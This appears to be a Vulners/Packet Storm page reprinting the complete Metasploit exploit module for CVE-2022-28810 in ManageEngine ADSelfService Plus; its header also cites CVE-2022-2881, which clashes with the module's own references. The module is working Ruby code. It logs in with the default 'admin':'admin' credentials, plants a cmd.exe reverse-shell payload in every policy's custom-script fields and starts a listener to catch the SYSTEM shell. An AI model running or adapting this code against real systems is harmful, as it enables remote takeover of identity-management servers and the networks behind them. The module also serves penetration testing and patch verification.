Lucene search
K

ManageEngine ADSelfService Plus Custom Script Execution

🗓️ 21 Apr 2022 00:00:00Reported by Jake Baines, Andrew Iwamaye, Dan Kelley, Hernan Diaz, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 521 Views

ManageEngine ADSelfService Plus Custom Script Execution CVE-2022-2881

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution',  
'Description' => %q{  
This module exploits the "custom script" feature of ADSelfService Plus. The  
feature was removed in build 6122 as part of the patch for CVE-2022-28810.  
For purposes of this module, a "custom script" is arbitrary operating system  
command execution.  
  
This module uses an attacker provided "admin" account to insert the malicious  
payload into the custom script fields. When a user resets their password or  
unlocks their account, the payload in the custom script will be executed.  
The payload will be executed as SYSTEM if ADSelfService Plus is installed as  
a service, which we believe is the normal operational behavior.  
  
This is a passive module because user interaction is required to trigger the  
payload. This module also does not automatically remove the malicious code from  
the remote target. Use the "TARGET_RESET" operation to remove the malicious  
custom script when you are done.  
  
ADSelfService Plus uses default credentials of "admin":"admin"  
},  
'Author' => [  
# Discovered and exploited by unknown threat actors  
'Jake Baines', # Analysis, CVE credit, and Metasploit module  
'Hernan Diaz', # Analysis and CVE credit  
'Andrew Iwamaye', # Analysis and CVE credit  
'Dan Kelley' # Analysis and CVE credit  
],  
'References' => [  
['CVE', '2022-28810'],  
['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'],  
['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/']  
],  
'DisclosureDate' => '2022-04-09',  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Privileged' => true, # false if ADSelfService Plus is not run as a service  
'Stance' => Msf::Exploit::Stance::Passive,  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp'  
}  
}  
],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8888,  
'DisablePayloadHandler' => true,  
'JJS_PATH' => '..\\jre\\bin\\jjs.exe'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/']),  
OptString.new('USERNAME', [true, 'The administrator username', 'admin']),  
OptString.new('PASSWORD', [true, 'The administrator user\'s password', 'admin']),  
OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script field', false])  
])  
end  
  
##  
# Because this is an authenticated vulnerability, we will rely on a version string  
# for the check function. We can extract the version (or build) from selfservice/index.html.  
##  
def check  
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html'))  
unless res  
return CheckCode::Unknown('The target failed to respond to check.')  
end  
  
unless res.code == 200  
return CheckCode::Safe('Failed to retrieve /selfservice/index.html')  
end  
  
ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]  
if ver.nil?  
return CheckCode::Safe('Could not extract a version number')  
end  
  
if Rex::Version.new(ver) < Rex::Version.new('6122')  
return CheckCode::Appears("This determination is based on the version string: #{ver}.")  
end  
  
CheckCode::Safe("This determination is based on the version string: #{ver}.")  
end  
  
##  
# Authenticate with the remote target. Login requires four steps:  
#  
# 1. Grab a CSRF token  
# 2. Post credentials to /ServletAPI/accounts/login  
# 3. Post credentials to /j_security_check  
# 4. Grab another CSRF token for authenticated requests  
#  
# @return a new CSRF token to use with authenticated requests  
##  
def authenticate  
# grab a CSRF token from the index  
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })  
fail_with(Failure::Unreachable, 'The target did not respond') unless res  
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?  
csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]  
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok  
  
# send the first login request to get the ssp token  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),  
'keep_cookies' => true,  
'vars_post' =>  
{  
'loginName' => datastore['USERNAME'],  
'domainName' => 'ADSelfService Plus Authentication',  
'j_username' => datastore['USERNAME'],  
'j_password' => datastore['PASSWORD'],  
'AUTHRULE_NAME' => 'ADAuthenticator',  
'adscsrf' => csrf_tok  
}  
})  
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200  
  
# send the second login request to get the sso token  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/j_security_check'),  
'keep_cookies' => true,  
'vars_post' =>  
{  
'loginName' => datastore['USERNAME'],  
'domainName' => 'ADSelfService Plus Authentication',  
'j_username' => datastore['USERNAME'],  
'j_password' => datastore['PASSWORD'],  
'AUTHRULE_NAME' => 'ADAuthenticator',  
'adscsrf' => csrf_tok  
}  
})  
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302  
  
# revisit authorization.do to complete authentication  
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })  
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200  
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?  
csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]  
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok  
  
print_good('Authentication successful')  
csrf_tok  
end  
  
##  
# Triggering the payload requires user interaction. Using the default payload  
# handler will cause this module to exit after planting the payload, so the  
# module will spawn it's own handler so that it doesn't exit until a shell  
# has been received/handled. Note that this module is passive so it should  
# just be chilling quietly in the background.  
#  
# This code is largely copy/paste from windows/local/persistence.rb  
##  
def create_multihandler(lhost, lport, payload_name)  
pay = framework.payloads.create(payload_name)  
pay.datastore['LHOST'] = lhost  
pay.datastore['LPORT'] = lport  
print_status('Starting exploit/multi/handler')  
  
# Set options for module  
mh = framework.exploits.create('multi/handler')  
mh.share_datastore(pay.datastore)  
mh.datastore['PAYLOAD'] = payload_name  
mh.datastore['EXITFUNC'] = 'thread'  
mh.datastore['ExitOnSession'] = true  
# Validate module options  
mh.options.validate(mh.datastore)  
# Execute showing output  
mh.exploit_simple(  
'Payload' => mh.datastore['PAYLOAD'],  
'LocalInput' => user_input,  
'LocalOutput' => user_output,  
'RunAsJob' => true  
)  
  
# Check to make sure that the handler is actually valid  
# If another process has the port open, then the handler will fail  
# but it takes a few seconds to do so. The module needs to give  
# the handler time to fail or the resulting connections from the  
# target could end up on on a different handler with the wrong payload  
# or dropped entirely.  
Rex.sleep(5)  
return nil if framework.jobs[mh.job_id.to_s].nil?  
  
return mh.job_id.to_s  
end  
  
# The json policy blob that ADSSP provides us is not accepted by ADSSP  
# if we try to POST it back. Specifically, ADSP is very unhappy about all  
# the booleans using "true" or "false" instead of "1" or "0" *except* for  
# HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but  
# here we are.  
def fix_adssp_json(json_hash)  
json_hash.map do |key, value|  
if value.is_a? Hash  
[key, fix_adssp_json(value)]  
elsif value.is_a? Array  
value = value.map do |array_val|  
if array_val.is_a? Hash  
array_val = fix_adssp_json(array_val)  
end  
array_val  
end  
[key, value]  
elsif key == 'HIDE_CAPTCHA_RPUA'  
[key, value]  
elsif value.is_a? TrueClass  
[key, 1]  
elsif value.is_a? FalseClass  
[key, 0]  
else  
[key, value]  
end  
end.to_h  
end  
  
def exploit  
csrf_tok = authenticate  
  
# Grab the list of configured policies  
policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')  
print_status("Requesting policy list from #{policy_list_uri}")  
res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })  
fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200  
policy_json = res.get_json_document  
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?  
policy_details_json = policy_json['POLICY_DETAILS']  
fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?  
  
# There can be multiple policies. This logic will loop over each one, grab the configuration  
# details, update the configuration to include our payload, and then POST it back.  
policy_details_json.each do |policy_entry|  
policy_id = policy_entry['POLICY_ID']  
policy_name = policy_entry['POLICY_NAME']  
fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil?  
  
print_status("Requesting policy details for #{policy_name}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),  
'vars_get' =>  
{  
'POLICY_ID' => policy_id  
}  
})  
fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200  
  
# load the JSON and insert (or remove) our payload  
specific_policy_json = res.get_json_document  
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?  
fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?  
new_payload = "cmd.exe /c #{payload.encoded}"  
  
if datastore['TARGET_RESET']  
print_status('Disabling custom script functionality')  
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'  
specific_policy_json['SCRIPT_COMMAND_RESET'] = ''  
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0'  
specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = ''  
else  
print_status('Enabling custom scripts and inserting the payload')  
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1'  
specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload  
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1'  
specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload  
end  
  
# fix up the ADSSP provided json so ADSSP will accept it o.O  
updated_policy = fix_adssp_json(specific_policy_json).to_json  
  
policy_update_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/setAPCDetails')  
print_status("Posting updated policy configuration to #{policy_update_uri}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => policy_update_uri,  
'vars_post' =>  
{  
'APC_SETTINGS_DETAILS' => updated_policy,  
'POLICY_NAME' => policy_name,  
'adscsrf' => csrf_tok  
}  
})  
fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200  
  
# spawn our own payload handler?  
if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']  
listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])  
if listener_job_id.blank?  
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")  
end  
else  
print_good('Done!')  
end  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation